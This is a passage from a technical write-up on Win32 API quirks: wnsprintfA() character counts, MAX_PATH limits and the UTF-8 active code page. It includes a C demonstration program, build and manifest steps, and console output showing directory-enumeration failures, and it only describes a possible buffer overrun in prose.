for wide character '¡' (U+00A1) wnsprintfA() returned string '¢' of 2 characters for wide character '¢' (U+00A2) wnsprintfA() returned string '£' of 2 characters for wide character '£' (U+00A3) wnsprintfA() returned string '¤' of 2 characters for wide character '¤' (U+00A4) wnsprintfA() returned string '¥' of 2 characters for wide character '¥' (U+00A5) wnsprintfA() returned string '¦' of 2 characters for wide character '¦' (U+00A6) wnsprintfA() returned string '§' of 2 characters for wide character '§' (U+00A7) wnsprintfA() returned string '¨' of 2 characters for wide character '¨' (U+00A8) wnsprintfA() returned string '©' of 2 characters for wide character '©' (U+00A9) wnsprintfA() returned string 'ª' of 2 characters for wide character 'ª' (U+00AA) wnsprintfA() returned string '«' of 2 characters for wide character '«' (U+00AB) wnsprintfA() returned string '¬' of 2 characters for wide character '¬' (U+00AC) wnsprintfA() returned string '' of 2 characters for wide character '' (U+00AD) wnsprintfA() returned string '®' of 2 characters for wide character '®' (U+00AE) wnsprintfA() returned string '¯' of 2 characters for wide character '¯' (U+00AF) wnsprintfA() returned string '°' of 2 characters for wide character '°' (U+00B0) wnsprintfA() returned string '±' of 2 characters for wide character '±' (U+00B1) wnsprintfA() returned string '²' of 2 characters for wide character '²' (U+00B2) wnsprintfA() returned string '³' of 2 characters for wide character '³' (U+00B3) wnsprintfA() returned string '´' of 2 characters for wide character '´' (U+00B4) wnsprintfA() returned string 'µ' of 2 characters for wide character 'µ' (U+00B5) wnsprintfA() returned string '¶' of 2 characters for wide character '¶' (U+00B6) wnsprintfA() returned string '·' of 2 characters for wide character '·' (U+00B7) wnsprintfA() returned string '¸' of 2 characters for wide character '¸' (U+00B8) wnsprintfA() returned string '¹' of 2 characters for wide character '¹' (U+00B9) wnsprintfA() returned string 'º' of 2 characters for wide character 'º' (U+00BA) wnsprintfA() returned string '»' of 2 characters for wide character '»' (U+00BB) wnsprintfA() returned string '¼' of 2 characters for wide character '¼' (U+00BC) wnsprintfA() returned string '½' of 2 characters for wide character '½' (U+00BD) wnsprintfA() returned string '¾' of 2 characters for wide character '¾' (U+00BE) wnsprintfA() returned string '¿' of 2 characters for wide character '¿' (U+00BF) wnsprintfA() returned string 'À' of 2 characters for wide character 'À' (U+00C0) wnsprintfA() returned string 'Á' of 2 characters for wide character 'Á' (U+00C1) wnsprintfA() returned string 'Â' of 2 characters for wide character 'Â' (U+00C2) wnsprintfA() returned string 'Ã' of 2 characters for wide character 'Ã' (U+00C3) wnsprintfA() returned string 'Ä' of 2 characters for wide character 'Ä' (U+00C4) wnsprintfA() returned string 'Å' of 2 characters for wide character 'Å' (U+00C5) wnsprintfA() returned string 'Æ' of 2 characters for wide character 'Æ' (U+00C6) wnsprintfA() returned string 'Ç' of 2 characters for wide character 'Ç' (U+00C7) wnsprintfA() returned string 'È' of 2 characters for wide character 'È' (U+00C8) wnsprintfA() returned string 'É' of 2 characters for wide character 'É' (U+00C9) wnsprintfA() returned string 'Ê' of 2 characters for wide character 'Ê' (U+00CA) wnsprintfA() returned string 'Ë' of 2 characters for wide character 'Ë' (U+00CB) wnsprintfA() returned string 'Ì' of 2 characters for wide character 'Ì' (U+00CC) wnsprintfA() returned string 'Í' of 2 characters for wide character 'Í' (U+00CD) wnsprintfA() returned string 'Î' of 2 characters for wide character 'Î' (U+00CE) wnsprintfA() returned string 'Ï' of 2 characters for wide character 'Ï' (U+00CF) wnsprintfA() returned string 'Ð' of 2 characters for wide character 'Ð' (U+00D0) wnsprintfA() returned string 'Ñ' of 2 characters for wide character 'Ñ' (U+00D1) wnsprintfA() returned string 'Ò' of 2 characters for wide character 'Ò' (U+00D2) wnsprintfA() returned string 'Ó' of 2 characters for wide character 'Ó' (U+00D3) wnsprintfA() returned string 'Ô' of 2 characters for wide character 'Ô' (U+00D4) wnsprintfA() returned string 'Õ' of 2 characters for wide character 'Õ' (U+00D5) wnsprintfA() returned string 'Ö' of 2 characters for wide character 'Ö' (U+00D6) wnsprintfA() returned string '×' of 2 characters for wide character '×' (U+00D7) wnsprintfA() returned string 'Ø' of 2 characters for wide character 'Ø' (U+00D8) wnsprintfA() returned string 'Ù' of 2 characters for wide character 'Ù' (U+00D9) wnsprintfA() returned string 'Ú' of 2 characters for wide character 'Ú' (U+00DA) wnsprintfA() returned string 'Û' of 2 characters for wide character 'Û' (U+00DB) wnsprintfA() returned string 'Ü' of 2 characters for wide character 'Ü' (U+00DC) wnsprintfA() returned string 'Ý' of 2 characters for wide character 'Ý' (U+00DD) wnsprintfA() returned string 'Þ' of 2 characters for wide character 'Þ' (U+00DE) wnsprintfA() returned string 'ß' of 2 characters for wide character 'ß' (U+00DF) wnsprintfA() returned string 'à' of 2 characters for wide character 'à' (U+00E0) wnsprintfA() returned string 'á' of 2 characters for wide character 'á' (U+00E1) wnsprintfA() returned string 'â' of 2 characters for wide character 'â' (U+00E2) wnsprintfA() returned string 'ã' of 2 characters for wide character 'ã' (U+00E3) wnsprintfA() returned string 'ä' of 2 characters for wide character 'ä' (U+00E4) wnsprintfA() returned string 'å' of 2 characters for wide character 'å' (U+00E5) wnsprintfA() returned string 'æ' of 2 characters for wide character 'æ' (U+00E6) wnsprintfA() returned string 'ç' of 2 characters for wide character 'ç' (U+00E7) wnsprintfA() returned string 'è' of 2 characters for wide character 'è' (U+00E8) wnsprintfA() returned string 'é' of 2 characters for wide character 'é' (U+00E9) wnsprintfA() returned string 'ê' of 2 characters for wide character 'ê' (U+00EA) wnsprintfA() returned string 'ë' of 2 characters for wide character 'ë' (U+00EB) wnsprintfA() returned string 'ì' of 2 characters for wide character 'ì' (U+00EC) wnsprintfA() returned string 'í' of 2 characters for wide character 'í' (U+00ED) wnsprintfA() returned string 'î' of 2 characters for wide character 'î' (U+00EE) wnsprintfA() returned string 'ï' of 2 characters for wide character 'ï' (U+00EF) wnsprintfA() returned string 'ð' of 2 characters for wide character 'ð' (U+00F0) wnsprintfA() returned string 'ñ' of 2 characters for wide character 'ñ' (U+00F1) wnsprintfA() returned string 'ò' of 2 characters for wide character 'ò' (U+00F2) wnsprintfA() returned string 'ó' of 2 characters for wide character 'ó' (U+00F3) wnsprintfA() returned string 'ô' of 2 characters for wide character 'ô' (U+00F4) wnsprintfA() returned string 'õ' of 2 characters for wide character 'õ' (U+00F5) wnsprintfA() returned string 'ö' of 2 characters for wide character 'ö' (U+00F6) wnsprintfA() returned string '÷' of 2 characters for wide character '÷' (U+00F7) wnsprintfA() returned string 'ø' of 2 characters for wide character 'ø' (U+00F8) wnsprintfA() returned string 'ù' of 2 characters for wide character 'ù' (U+00F9) wnsprintfA() returned string 'ú' of 2 characters for wide character 'ú' (U+00FA) wnsprintfA() returned string 'û' of 2 characters for wide character 'û' (U+00FB) wnsprintfA() returned string 'ü' of 2 characters for wide character 'ü' (U+00FC) wnsprintfA() returned string 'ý' of 2 characters for wide character 'ý' (U+00FD) wnsprintfA() returned string 'þ' of 2 characters for wide character 'þ' (U+00FE) wnsprintfA() returned string 'ÿ' of 2 characters for wide character 'ÿ' (U+00FF)OOPS²: contrary to the second 2 highlighted statements of the documentation cited above, the
wnsprintfA()
function but supports the pointer type p
as well as the
flags +
, 0
,
(blank)
and #
!
OOPS³: for each of the 123 wide characters
from the string CP1252
, the
wnsprintfA()
function returns a character count greater 1, i.e. the documentation
cited above confuses character alias code point and
byte alias code unit!
Aforms of the Win32 functions for directory and file management are all limited to a maximum path name length of 260 characters, defined with the preprocessor macro
MAX_PATH
. For example, the
RemoveDirectoryA()
function is documented in the
MSDN as
follows:
Deletes an existing empty directory.The[…]
[…]BOOL RemoveDirectoryA( LPCSTR lpPathName );
lpPathName
The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
In the ANSI version of this function, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, call the Unicode version of the function (RemoveDirectoryW), and prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting in Windows 10, version 1607, for the unicode version of this function (RemoveDirectoryW), you can opt-in to remove the MAX_PATH character limitation without prepending "\\?\". See the "Maximum Path Limitation" section of Naming Files, Paths, and Namespaces for details.
CreateDirectoryA()
function is documented in the
MSDN with an
additional limitation, giving but a wrong number:
Creates a new directory. […]OUCH: the correct value of the string size limit is[…]BOOL CreateDirectoryA( LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes );
lpPathName
The path of the directory to be created.
For the ANSI version of this function, there is a default string size limit for paths of 248 characters (MAX_PATH - enough room for a 8.3 filename). To extend this limit to 32,767 wide characters, call the Unicode version of the function and prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.
Tip Starting with Windows 10, version 1607, for the unicode version of this function (CreateDirectoryW), you can opt-in to remove the 248 character limitation without prepending "\\?\". The 255 character limit per path segment still applies. See the "Maximum Path Length Limitation" section of Naming Files, Paths, and Namespaces for details.
lpSecurityAttributes
[…]
MAX_PATH
− sizeof("\\filename.ext")
= 260 − 14 = 246!
Win32 APIs often support both -A and -W variants.Caveat: here character means-A variants recognize the ANSI code page configured on the system and support
char*
, while -W variants operate in UTF-16 and supportWCHAR
.Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.
[…]
Note
CP_ACP
equates toCP_UTF8
only if running on Windows Version 1903 (May 2019 Update) or above and the ActiveCodePage property described above is set to UTF-8. Otherwise, it honors the legacy system code page. We recommend usingCP_UTF8
explicitly.
CHAR
alias char
alias byte, not
Unicode
code point!
Since in UTF-8 encoding a code point requires 1 to 4 code units alias characters, configuring the ANSI code page for UTF-8 can actually break existing code!
Note: in UTF-16 encoding a code point requires 1 or 2 code units alias wide characters of 2 characters each; while code points which fit into 1 UTF-16 code unit require 1 to 3 UTF-8 code units of 1 character each, code points which require 2 UTF-16 code units, a high/low surrogate pair, require 4 UTF-8 code units, i.e. the latter require in both transformation formats the same number of characters alias bytes.
Create the text file quirk40.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// Thai, Baht
// CP874 L"฿\\๐๑๒๓๔๕๖๗๘๙…"
// Japanese, Yen
// CP932 L"¥\\〇一二三四五六七八九…"
// Chinese, Yuan Renminbi
// CP936 L"元\\零一二三四五六七八九…"
// Korean, Won
// CP949 L"₩\\…"
// Traditional Chinese
// CP950 L"…\\…"
// Central/Eastern Europe, Azerbaijani Manat
// CP1250 L"₼\\…"
// Cyrillic, Russian Ruble
// CP1251 L"₽\\ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя…"
// Western, Euro
#define CP1252 L"€\\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
// Greek, Drachma
// CP1253 L"₯\\ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω…"
// Turkish, Lira
// CP1254 L"₻\\…"
// Hebrew, New Shekel
// CP1255 L"₪\\אבגדהוזחטיךכלםמןנסעףפץצקרשת…"
// Arabic, Iranian Rial
// CP1256 L"﷼\\٠١٢٣٤٥٦٧٨٩…"
// Baltic, Euro
// CP1257 L"€\\…"
// Vietnamese, Dong
// CP1258 L"₫\\空𠬠𠄩𠀧𦊚𠄼𦒹𦉱𠔭𠃩𨒒…"
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WIN32_FIND_DATAA wfd;
DWORD dwError = ERROR_SUCCESS;
CHAR szEURO[4];
#ifdef QUIRKS
CHAR szANSI[MAX_PATH * 3];
#else
CHAR szANSI[MAX_PATH];
#endif
WCHAR szWide[MAX_PATH];
UINT uiWide;
UINT uiANSI;
HANDLE hANSI;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
L"€", sizeof(L"€") / sizeof(L'€'),
szEURO, sizeof(szEURO),
(LPCCH) NULL, (LPBOOL) NULL) == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
if (!CreateDirectoryA(szEURO, (LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateDirectoryA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szEURO);
else
{
if (WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CP1252, sizeof(CP1252) / sizeof(*CP1252),
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL) == 0)
{
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), CP1252, wcslen(CP1252));
if (!CreateDirectoryW(CP1252, (LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateDirectoryW() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), CP1252, wcslen(CP1252));
wcscpy(szWide, L"€\\");
do
wcscat(szWide, L"€");
while (CreateDirectoryW(szWide, (LPSECURITY_ATTRIBUTES) NULL));
PrintConsole(hConsole,
L"CreateDirectoryW() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), szWide, wcslen(szWide));
}
else
{
if (!CreateDirectoryA(szANSI, (LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateDirectoryA() returned error %lu for pathname \'%hs\' of %lu characters\n",
dwError = GetLastError(), szANSI, strlen(szANSI));
else
if (GetTempFileNameA(szANSI, szEURO, 0, szANSI) == 0)
PrintConsole(hConsole,
L"GetTempFileNameA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
else
{
PrintConsole(hConsole,
L"GetTempFileNameA() returned pathname \'%hs\' of %lu characters\n",
szANSI, strlen(szANSI));
if (!DeleteFileA(szANSI))
PrintConsole(hConsole,
L"DeleteFileA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
}
strcpy(szANSI, szEURO);
strcat(szANSI, "\\");
do
strcat(szANSI, szEURO);
while (CreateDirectoryA(szANSI, (LPSECURITY_ATTRIBUTES) NULL));
PrintConsole(hConsole,
L"CreateDirectoryA() returned error %lu for pathname \'%hs\' of %lu characters\n",
dwError = GetLastError(), szANSI, strlen(szANSI));
}
uiANSI = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CP1252, 4,
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for pathname \'%.4ls\' of 4 wide characters\n",
dwError = GetLastError(), CP1252);
else
{
strcpy(szANSI + uiANSI, "*");
hANSI = FindFirstFileA(szANSI, &wfd);
if (hANSI == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFileA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
else
{
while (FindNextFileA(hANSI, &wfd));
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
PrintConsole(hConsole,
L"FindNextFileA() returned error %lu\n",
dwError);
}
}
strcpy(szANSI, szEURO);
strcat(szANSI, "\\*");
hANSI = FindFirstFileA(szANSI, &wfd);
if (hANSI == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFileA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
else
{
do
{
strcpy(szANSI, szEURO);
strcat(szANSI, "\\");
strcat(szANSI, wfd.cFileName);
if (!RemoveDirectoryA(szANSI))
PrintConsole(hConsole,
L"RemoveDirectoryA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
} while (FindNextFileA(hANSI, &wfd));
dwError = GetLastError();
if (dwError == ERROR_MORE_DATA)
{
uiWide = MultiByteToWideChar(CP_ACP,
MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
szANSI, -1,
(LPWSTR) NULL, 0);
if (uiWide == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu\n",
dwError = GetLastError());
PrintConsole(hConsole,
L"FindNextFileA() returned pathname \'%hs\' of %lu characters in %u code points\n",
szANSI, strlen(szANSI), uiWide - 1);
}
if (dwError != ERROR_NO_MORE_FILES)
PrintConsole(hConsole,
L"FindNextFileA() returned error %lu\n",
dwError);
else
if (GetTempFileNameA(szANSI, szEURO, 0, szANSI) == 0)
PrintConsole(hConsole,
L"GetTempFileNameA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
else
{
PrintConsole(hConsole,
L"GetTempFileNameA() returned pathname \'%hs\' of %lu characters\n",
szANSI, strlen(szANSI));
if (!DeleteFileA(szANSI))
PrintConsole(hConsole,
L"DeleteFileA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szANSI);
}
if (!FindClose(hANSI))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
GetLastError());
}
if (!RemoveDirectoryA(szEURO))
PrintConsole(hConsole,
L"RemoveDirectoryA() returned error %lu for pathname \'%hs\'\n",
dwError = GetLastError(), szEURO);
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Code Page 1250 Windows Latin 2 (Central Europe)
Code Page 1251 Windows Cyrillic (Slavic)
Code Page 1252 Windows Latin 1 (ANSI)
Code Page 1253 Windows Greek
Code Page 1254 Windows Latin 5 (Turkish)
Code Page 1255 Windows Hebrew
Code Page 1256 Windows Arabic
Code Page 1257 Windows Baltic Rim
Build the console application quirk40.exe
from the
source file quirk40.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk40.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk40.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk40.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk40.exe quirk40.obj kernel32.lib user32.lib
Execute the console application quirk40.exe
built in
step 2. to demonstrate the legacy behaviour:
CHDIR .\quirk40.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Users\Stefan GetTempFileNameA() returned pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\€20AC.tmp' of 135 characters CreateDirectoryA() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 232 characters RemoveDirectoryA() returned error 145 for pathname '€\.' RemoveDirectoryA() returned error 32 for pathname '€\..' FindNextFileA() returned pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 231 characters GetTempFileNameA() returned error 267 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' 0x10B (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH¹: contrary to the documentation cited above, the
CreateDirectoryA()
function accepts only 231 characters instead of OUCH²: although the directory name for the
GetTempFileName()
function is valid and not longer than
MAX_PATH
− 14 = 246
characters, it fails with Win32 error code 267 alias
ERROR_DIRECTORY
!
Note: the first 3 error messages which show the
Win32 error codes 206 alias
ERROR_FILENAME_EXCED_RANGE
,
145 alias
ERROR_DIR_NOT_EMPTY
and 32 alias
ERROR_SHARING_VIOLATION
are expected and normal behaviour!
Create the text file quirk40.xml
with the following
content next to the console application quirk40.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk40' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk40 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk40.xml
created in step 4. in the console
application quirk40.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk40.xml /OUTPUTRESOURCE:quirk40.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk40.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour:
VER .\quirk40.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] WideCharToMultiByte() returned error 122 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 125 characters CreateDirectoryW() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 232 wide characters FindFirstFileA() returned error 234 for pathname '€\€‚*' RemoveDirectoryA() returned error 145 for pathname '€\.' RemoveDirectoryA() returned error 32 for pathname '€\..' FindNextFileA() returned pathname '€\€' of 7 characters in 3 code points FindNextFileA() returned error 234 RemoveDirectoryA() returned error 145 for pathname '€' 0x91 (WIN32: 145 ERROR_DIR_NOT_EMPTY) -- 145 (145) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.Note: the path name
€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
of 125
ANSI
characters as well as 125
Unicode
code points requires 266 code units alias characters in
UTF-8
encoding and exceeds MAX_PATH
= 260; its file
or directory name of 123
ANSI
characters requires 262 code units alias characters in
UTF-8
encoding and exceeds MAX_PATH
too.
OUCH¹: the
WideCharToMultiByte()
WideCharToMultiByte()
function fails with Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
due to the 260 character limit!
OUCH²: since its wildcard pattern
€\€‚*
matches the above path name, the
FindFirstFile()
function fails with Win32 error code 234 alias
ERROR_MORE_DATA
due to the 260 character limit imposed by the
WIN32_FIND_DATAA
data structure!
OUCH³: since the wildcard pattern
€\*
matches the above path name, the
FindNextFile()
function too fails with Win32 error code 234 alias
ERROR_MORE_DATA
due to the 260 character limit imposed by the
WIN32_FIND_DATAA
data structure!
OUCH⁴: contrary to the highlighted statement
of the documentation cited above last,
existing unchanged code
exhibits multiple
failures when code page 65001 alias CP_UTF8
is used
– it fails to enumerate path names of more than 7 (in words:
seven)
ANSI
characters respectively 3 (in words: three)
Unicode
code points, i.e. it misses all but the first of
the total 229 subdirectories created in the directory
€
and leaves this non-empty directory with 228
empty subdirectories behind!
NOTE: not demonstrated here,
existing unchanged code
is susceptible to buffer overruns
which are impossible with other (legacy
)
ANSI
Code Pages
where the Win32 functions
FindFirstFile()
and
FindNextFile()
return at most 255 characters in the
WIN32_FIND_DATAA
data structure; the concatenation of the 2 character directory name
€\
, a 2 character drive letter A:
or
a 3 character drive path name B:\
and the longest file
name fits into a buffer of 260 characters (which is the reason why
MAX_PATH
is not defined as 256).
CAVEAT: without the subdirectory
€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
in place, the
FindNextFile()
function enumerates the first
MAX_PATH
÷ strlen(szEURO)
= 260 ÷ 3 = 86
subdirectories and returns a file name of
86 × 3 = 258 characters in the
WIN32_FIND_DATAA
data structure before it fails with Win32 error code
234 alias
ERROR_MORE_DATA
;
concatenation of the 4 character directory name €\
and this 258 character file name then overruns the buffer of 260
characters!
Caveat: the buffer overrun also happens with the
prefixes .\
, C:
and D:\
; the
only prefix which avoids it is \
!
Caveat: of course the
FindFirstFile()
function too can return a file name which causes a buffer overrun.
Build the console application quirk40.exe
a second
time from the source file quirk40.c
created in
step 1., now with the preprocessor macro QUIRKS
defined:
CL.EXE /DQUIRKS quirk40.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk40.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk40.exe quirk40.obj kernel32.lib user32.lib
Embed the
Application Manifest
quirk40.xml
created in step 4. in the console
application quirk40.exe
built in step 7.:
MT.EXE /CANONICALIZE /MANIFEST quirk40.xml /OUTPUTRESOURCE:quirk40.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk40.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the changed (mis)behaviour:
VER .\quirk40.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
